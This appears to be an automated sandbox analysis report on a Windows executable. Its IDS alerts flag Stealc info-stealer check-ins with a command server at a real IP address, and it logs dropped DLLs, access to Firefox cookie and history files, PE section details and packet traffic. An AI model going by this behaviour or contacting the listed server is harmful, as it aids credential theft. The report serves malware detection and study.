Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947125598937231
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'820'672 bytes
MD5:	421d06b2c1575e58b9990147d041a88e
SHA1:	1a410b48f33a6f21ad87e894925ebc732b5b8886
SHA256:	4a888165262786f1aff5d1a5f32c8ea2462c949e768a3b9f34e9ad3d4f06053f
SHA512:	78190e11d25b30e2c4d1f600742fff6f2e892bd92eae6a16c95bcf94f4e5680ffe0820218e05776028e4e4b7606264be5352f56e04f49816a9de26833c32ea62
SSDEEP:	24576:kt/otktS4y81egPiIWnS/B6JuAmPdcwCwtvTa2qdP7IlT0VWJd59xTfHJ:k5+0T1egKIWS/B4frevpbz57v
TLSH:	8A8533AD3EF82D1ACBEE74FD6DF6131D6AE0639422E61D4AF9A41670069FF9D9003041
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F80446C6F6Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a8f2cd2895146d4e41d4aced04786bfd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x296000	0x200	414245ca40b7f225459f7879ceb6bead	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fzavhgps	0x4f4000	0x197000	0x196400	d5f8e9dbf122137ece37a06803eaa534	False	0.9947932692307693	data	7.953816232559599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zsfarmsq	0x68b000	0x1000	0x600	ad3b1877261c1879142c75ca9a593469	False	0.5924479166666666	data	5.124141589589128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	aa70ad7855115b1367a9b38334fc2f10	False	0.05307904411764706	DOS executable (COM)	0.6044967442271231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T02:18:12.570169+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:12.987504+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:12.994278+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-25T02:18:13.272757+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:13.301268+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-25T02:18:14.424150+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:15.202788+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:23.269684+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:25.035739+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:26.063241+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:26.758291+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:28.450709+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:28.943757+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 02:18:11.354676962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:11.360846996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:11.360966921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:11.361275911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:11.366998911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.269347906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.269409895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.272804976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.278592110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.569983959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.570168972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.571258068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.576617002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.987361908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.987407923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.987445116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:12.987504005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.987540007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.988930941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:12.994277954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272664070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272713900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272751093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272757053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272757053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272788048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272792101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272824049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272861004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272897959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.272906065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272906065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272906065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.272950888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.295627117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.301268101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.578877926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.579030991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.616949081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.617003918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:13.622597933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622642040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622695923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622725010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622752905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622781992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:13.622809887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:14.424060106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:14.424149990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:14.639977932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:14.927511930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202660084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202681065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202708006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202725887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202739954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202788115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.202811003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.202811003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.202939034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202954054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.202992916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203003883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203176022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203192949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203210115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203224897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203237057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203238010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203274012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203274012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203876972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203907013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203923941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.203938961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203968048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.203968048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.360321999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.360351086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.360461950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361607075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361768961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361788034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361805916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361824989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361844063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361862898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361869097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361869097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361869097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361884117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361885071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361905098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361913919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361931086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361934900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361954927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361974001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361974001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.361974955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.361994982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.362049103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.362237930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.362289906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.362293959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.362337112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477279902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477319002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477355957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477375031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477375984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477406979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477463961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477463961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477569103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477619886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477686882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477686882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477773905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477824926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477828979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477859974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.477900028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.477912903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.478270054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.478322029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.478344917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.478357077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.478374004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.478390932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.478419065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.478425980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.478446007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.478482008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.522382021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.522416115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.522528887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594310999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594376087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594410896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594429016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594429016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594448090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594492912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594492912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594582081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594613075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594660044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594660044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594798088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594832897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594855070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594867945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.594881058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.594924927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.595160961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.595215082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.595249891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.595258951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.595258951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.595284939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.595334053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.595334053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.595341921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.595679998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.639743090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.639787912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.639869928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.639869928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711249113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711292028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711324930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711344004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711360931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711397886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711431980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711447001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711447001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711474895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711518049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711518049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711848021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711899042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711904049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711934090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711946964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.711971045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.711991072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.712007046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:15.712019920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:15.712069988 CEST	49704	80	192.168.2.5	185.215.113.37
